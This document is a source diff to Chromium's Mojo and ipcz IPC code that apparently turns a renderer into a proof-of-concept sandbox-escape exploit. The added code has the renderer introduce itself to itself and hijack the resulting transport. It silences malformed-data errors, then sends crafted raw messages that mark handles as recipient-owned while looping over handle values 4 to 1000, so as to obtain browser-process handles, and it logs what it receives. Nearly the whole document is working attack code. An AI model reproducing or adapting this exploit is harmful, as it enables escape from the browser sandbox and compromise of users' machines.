diff --git a/mojo/core/ipcz_driver/transport.cc b/mojo/core/ipcz_driver/transport.cc index 69db6750a126a..99f51af38e011 100644 --- a/mojo/core/ipcz_driver/transport.cc +++ b/mojo/core/ipcz_driver/transport.cc @@ -13,6 +13,11 @@ #include #include +#include "base/debug/stack_trace.h" +#include "base/command_line.h" +#include "base/logging.h" + + #include "base/check_op.h" #include "base/functional/overloaded.h" #include "base/memory/scoped_refptr.h" @@ -33,12 +38,20 @@ #include "mojo/public/cpp/platform/platform_handle.h" #include "third_party/abseil-cpp/absl/container/inlined_vector.h" #include "third_party/ipcz/include/ipcz/ipcz.h" - #if BUILDFLAG(IS_WIN) #include "base/win/win_util.h" #include "mojo/public/cpp/platform/platform_handle_security_util_win.h" #endif - +static bool InBrowserProcess() { + std::string type = + base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII("type"); + return type == ""; +} +static bool InRendererProcess() { + std::string type = + base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII("type"); + return type == "renderer"; +} namespace mojo::core::ipcz_driver { namespace { @@ -210,6 +223,10 @@ std::optional DecodeHandle(HandleData data, if (!::GetHandleInformation(handle, &dummy)) { return std::nullopt; } + if (InBrowserProcess() && !remote_process.is_current() && + !from_transport.is_peer_trusted()) { + //LOG(ERROR) << "Renderer get browser handle: " << data; + } return PlatformHandle(base::win::ScopedHandle(handle)); } @@ -539,13 +556,15 @@ IpczResult Transport::DeserializeObject( auto object_data = bytes.subspan(header_size); size_t num_handles = handles.size(); #endif - // A small amount of stack storage is reserved to avoid heap allocation in the // most common cases. absl::InlinedVector platform_handles; platform_handles.resize(num_handles); for (size_t i = 0; i < num_handles; ++i) { #if BUILDFLAG(IS_WIN) + if (InBrowserProcess() && handle_owner == HandleOwner::kRecipient) { + //LOG(ERROR) << "receive crafted handle owner"; + } auto h = DecodeHandle(handle_data[i], remote_process_, handle_owner, *this); if (!h.has_value()) { return IPCZ_RESULT_INVALID_ARGUMENT; @@ -559,7 +578,6 @@ IpczResult Transport::DeserializeObject( return IPCZ_RESULT_INVALID_ARGUMENT; } } - auto object_handles = base::span(platform_handles); switch (header.type) { case ObjectBase::kTransport: { @@ -620,7 +638,10 @@ bool Transport::Serialize(Transport& transmitter, header.is_same_remote_process = remote_process_.is_current(); header.is_peer_trusted = is_peer_trusted(); header.is_trusted_by_peer = is_trusted_by_peer(); - + if (InRendererProcess()) { + LOG(ERROR) << "renderer process send transport"; + header.destination_type = kBroker; + } if (ShouldSerializeProcessHandle(transmitter)) { DCHECK_EQ(handles.size(), 2u); DCHECK(remote_process_.IsValid()); @@ -676,7 +697,6 @@ scoped_refptr Transport::Deserialize( // transports are always adopted by the receiving node, and we want any given // node to receive all of its transports' I/O on the same thread. transport->OverrideIOTaskRunner(from_transport.io_task_runner_); - return transport; } @@ -704,7 +724,9 @@ void Transport::OnChannelMessage( ipcz_transport_, static_cast(payload), payload_size, driver_handles.data(), driver_handles.size(), IPCZ_NO_FLAGS, &options); if (result != IPCZ_RESULT_OK && result != IPCZ_RESULT_UNIMPLEMENTED) { - OnChannelError(Channel::Error::kReceivedMalformedData); + if (!InRendererProcess()) { + OnChannelError(Channel::Error::kReceivedMalformedData); + } } } diff --git a/mojo/core/ipcz_driver/transport.h b/mojo/core/ipcz_driver/transport.h index 6e69734d350f3..e2f1672822b2d 100644 --- a/mojo/core/ipcz_driver/transport.h +++ b/mojo/core/ipcz_driver/transport.h @@ -26,7 +26,7 @@ namespace mojo::core::ipcz_driver { -// An ipcz driver transport implementation backed by a Channel object. + // An ipcz driver transport implementation backed by a Channel object. class MOJO_SYSTEM_IMPL_EXPORT Transport : public Object, public Channel::Delegate { public: diff --git a/third_party/ipcz/src/ipcz/driver_transport.cc b/third_party/ipcz/src/ipcz/driver_transport.cc index 74b597f7841f3..afaa12a1cb2a1 100644 --- a/third_party/ipcz/src/ipcz/driver_transport.cc +++ b/third_party/ipcz/src/ipcz/driver_transport.cc @@ -15,10 +15,23 @@ #include "third_party/abseil-cpp/absl/types/span.h" #include "util/ref_counted.h" +#include "base/command_line.h" +#include "base/debug/stack_trace.h" +#include "base/logging.h" +#include "base/process/process.h" +#include "mojo/public/cpp/platform/platform_handle.h" +#include "windows.h" +#include "base/command_line.h" +static bool InRendererProcess() { + std::string type = + base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII("type"); + return type == "renderer"; +} namespace ipcz { namespace { +DriverTransport* fakeTransport; IpczResult IPCZ_API NotifyTransport(IpczHandle listener, const void* data, @@ -43,13 +56,15 @@ NotifyTransport(IpczHandle listener, t->NotifyError(); return IPCZ_RESULT_OK; } - - if (!t->Notify({absl::MakeSpan(static_cast(data), num_bytes), - absl::MakeSpan(driver_handles, num_driver_handles)}, - options ? options->envelope : IPCZ_INVALID_DRIVER_HANDLE)) { - return IPCZ_RESULT_INVALID_ARGUMENT; + if (InRendererProcess() && fakeTransport == t) { + return IPCZ_RESULT_OK; } - + if (!t->Notify( + {absl::MakeSpan(static_cast(data), num_bytes), + absl::MakeSpan(driver_handles, num_driver_handles)}, + options ? options->envelope : IPCZ_INVALID_DRIVER_HANDLE)) { + return IPCZ_RESULT_INVALID_ARGUMENT; + } return IPCZ_RESULT_OK; } @@ -60,6 +75,11 @@ DriverTransport::DriverTransport(DriverObject transport) DriverTransport::~DriverTransport() = default; + +void DriverTransport::SetTransport() { + fakeTransport = this; +} + // static DriverTransport::Pair DriverTransport::CreatePair( const IpczDriver& driver, @@ -74,6 +94,7 @@ DriverTransport::Pair DriverTransport::CreatePair( target_transport0 = transport0->driver_object().handle(); target_transport1 = transport1->driver_object().handle(); } + IpczResult result = driver.CreateTransports( target_transport0, target_transport1, IPCZ_NO_FLAGS, nullptr, &new_transport0, &new_transport1); diff --git a/third_party/ipcz/src/ipcz/driver_transport.h b/third_party/ipcz/src/ipcz/driver_transport.h index d3a079a5b2c27..e1bf5ae1af7c0 100644 --- a/third_party/ipcz/src/ipcz/driver_transport.h +++ b/third_party/ipcz/src/ipcz/driver_transport.h @@ -16,7 +16,6 @@ #include "third_party/abseil-cpp/absl/base/macros.h" #include "third_party/abseil-cpp/absl/types/span.h" #include "util/ref_counted.h" - namespace ipcz { class Message; @@ -87,7 +86,7 @@ class DriverTransport ABSL_ASSERT(!listener_); return std::move(transport_); } - + void SetTransport(); // Begins listening on the transport for incoming data and driver objects. // Once this is called, the transport's Listener may be invoked by the driver // at any time from arbitrary threads, as determined by the driver @@ -124,7 +123,6 @@ class DriverTransport Ref listener_; }; - } // namespace ipcz -#endif // IPCZ_SRC_IPCZ_DRIVER_TRANSPORT_H_ +#endif // IPCZ_SRC_IPCZ_DRIVER_TRANSPORT_H_ \ No newline at end of file diff --git a/third_party/ipcz/src/ipcz/node.cc b/third_party/ipcz/src/ipcz/node.cc index c59fa5e2df180..2c572e2561e1f 100644 --- a/third_party/ipcz/src/ipcz/node.cc +++ b/third_party/ipcz/src/ipcz/node.cc @@ -29,6 +29,17 @@ #include "util/log.h" #include "util/ref_counted.h" +#include "base/command_line.h" +#include "base/debug/stack_trace.h" +#include "base/logging.h" +#include "mojo/public/cpp/platform/platform_handle.h" +#include "base/process/process.h" +#include "windows.h" +static bool InRendererProcess() { + std::string type = + base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII("type"); + return type == "renderer"; +} namespace ipcz { namespace { @@ -313,7 +324,6 @@ void Node::HandleIntroductionRequest(NodeLink& from_node_link, DVLOG(4) << "Broker " << from_node_link.local_node_name().ToString() << " received introduction request for " << for_node.ToString() << " from " << requestor.ToString(); - const std::optional target_connection = GetConnection(for_node); if (!target_connection) { // We are not familiar with the requested node. Attempt to establish our own @@ -365,7 +375,6 @@ void Node::HandleIntroductionRequest(NodeLink& from_node_link, request.v0()->target_node = target_connection->link->remote_node_name(); target_connection->broker->Transmit(request); } - void Node::AcceptIntroduction(NodeLink& from_node_link, const NodeName& name, LinkSide side, @@ -383,7 +392,6 @@ void Node::AcceptIntroduction(NodeLink& from_node_link, DVLOG(4) << "Node " << local_name.ToString() << " received introduction to " << name.ToString() << " from broker " << from_node_link.remote_node_name().ToString(); - Ref new_link = NodeLink::CreateInactive( WrapRefCounted(this), side, local_name, name, remote_node_type, remote_protocol_version, remote_features, transport, memory); @@ -475,6 +483,13 @@ bool Node::RelayMessage(const NodeName& from_node, msg::RelayMessage& relay) { bool Node::AcceptRelayedMessage(msg::AcceptRelayedMessage& accept) { if (auto link = GetLink(accept.v0()->source)) { link->DispatchRelayedMessage(accept); + } else if(InRendererProcess()){ + msg::AcceptBypassLink::ReceivedDataBuffer a = + std::move(accept).TakeReceivedData(); + LOG(ERROR) << "received handle from browser"; + LOG(ERROR) << "handle value is: " << *((unsigned long long*)(&a.data()[160])); + LOG(ERROR) << "end"; + Sleep(1000000); } return true; } diff --git a/third_party/ipcz/src/ipcz/node_link.cc b/third_party/ipcz/src/ipcz/node_link.cc index b0f5655e4634d..87632dbf57f90 100644 --- a/third_party/ipcz/src/ipcz/node_link.cc +++ b/third_party/ipcz/src/ipcz/node_link.cc @@ -39,6 +39,17 @@ #include "util/ref_counted.h" #include "util/safe_math.h" +#include "base/command_line.h" +#include "base/debug/stack_trace.h" +#include "base/logging.h" +#include "mojo/public/cpp/platform/platform_handle.h" +#include "base/process/process.h" +#include "windows.h" +static bool InRendererProcess() { + std::string type = + base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII("type"); + return type == "renderer"; +} namespace ipcz { // static @@ -166,7 +177,7 @@ Ref NodeLink::GetRouter(SublinkId sublink) { } return it->second.receiver; } - +bool done = false; void NodeLink::AddBlockBuffer(BufferId id, uint32_t block_size, DriverMemory memory) { @@ -177,9 +188,13 @@ void NodeLink::AddBlockBuffer(BufferId id, Transmit(add); } + void NodeLink::RequestIntroduction(const NodeName& name) { ABSL_ASSERT(remote_node_type_ == Node::Type::kBroker); - + if (InRendererProcess() && !done) { + done = true; + RequestIntroduction(local_node_name_); + } msg::RequestIntroduction request; request.v0()->name = name; Transmit(request); @@ -193,7 +208,6 @@ void NodeLink::AcceptIntroduction(const NodeName& name, Ref transport, DriverMemory memory) { ABSL_ASSERT(node_->type() == Node::Type::kBroker); - msg::AcceptIntroduction accept; accept.v0()->name = name; accept.v0()->link_side = side; @@ -270,7 +284,7 @@ void NodeLink::RequestMemory(size_t size, RequestMemoryCallback callback) { request.v0()->padding = 0; Transmit(request); } - +Ref transport1; void NodeLink::RelayMessage(const NodeName& to_node, Message& message) { ABSL_ASSERT(remote_node_type_ == Node::Type::kBroker); @@ -381,7 +395,6 @@ bool NodeLink::OnReferNonBroker(msg::ReferNonBroker& refer) { Transmit(rejected); return true; } - return NodeConnector::HandleNonBrokerReferral( node(), refer.v0()->referral_id, refer.v0()->num_initial_portals, WrapRefCounted(this), @@ -463,7 +476,7 @@ bool NodeLink::OnRequestIntroduction(msg::RequestIntroduction& request) { node()->HandleIntroductionRequest(*this, request.v0()->name); return true; } - +BOOL has_send = false; bool NodeLink::OnAcceptIntroduction(msg::AcceptIntroduction& accept) { if (remote_node_type_ != Node::Type::kBroker) { return false; @@ -485,6 +498,66 @@ bool NodeLink::OnAcceptIntroduction(msg::AcceptIntroduction& accept) { return false; } auto transport = MakeRefCounted(std::move(transport_object)); + if (InRendererProcess() && accept.v0()->name == local_node_name()) { + if (transport1 && !has_send) { + BOOL should_send = true; + if (should_send) { + has_send = true; + msg::ReferNonBroker refer; + refer.v0()->referral_id = 23333; + refer.v0()->num_initial_portals = 1; + refer.v0()->transport = + refer.AppendDriverObject(transport->TakeDriverObject()); + Transmit(refer); + Sleep(3000); + msg::RequestIntroduction request; + request.v0()->name = NodeName(1, 1); + request.header().sequence_number = SequenceNumber(0); + msg::ConnectToReferredBroker connect; + connect.v0()->protocol_version = msg::kProtocolVersion; + connect.v0()->num_initial_portals = 1; + connect.v1()->features = node_->features().Serialize(connect); + IpczResult a = transport1->Transmit(connect); + if (a != IPCZ_RESULT_OK) { + LOG(ERROR) << "transmit second fail"; + } + std::array byte_data1 = { + 0x18, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x5c, 0x60, 0xd6, 0x45, 0x6d, 0xc7, 0xf3, 0xf1, + 0x3d, 0x6d, 0xfe, 0xfc, 0xbd, 0xfe, 0x91, 0x92, // node name + 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, + 0x30, 0x00, 0x00, 0x00, 0x18, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5a, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, + 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x01, // 0x01:kRecipnent 0x00:kSender + 0x00, 0x00, 0x00, + 0x98, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // handle value + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + *((unsigned long long*)(&byte_data1[40])) = local_node_name().low(); // low + *((unsigned long long*)(&byte_data1[32])) = local_node_name().high(); // high + for (unsigned long long i = 4; i < 1000; i += 4) { + *((unsigned long long*)(&byte_data1[160])) = i; + transport1->driver_object().driver()->Transmit( + transport1->driver_object().handle(), byte_data1.data(), + byte_data1.size(), nullptr, 0, IPCZ_NO_FLAGS, nullptr); + } + } + return true; + } + transport1 = std::move(transport); + transport1->Activate(); + transport1->SetTransport(); + return true; + } node()->AcceptIntroduction( *this, accept.v0()->name, accept.v0()->link_side, accept.v0()->remote_node_type, accept.v0()->remote_protocol_version, @@ -817,7 +890,6 @@ bool NodeLink::OnRelayMessage(msg::RelayMessage& relay) { if (node_->type() != Node::Type::kBroker) { return false; } - return node_->RelayMessage(remote_node_name_, relay); }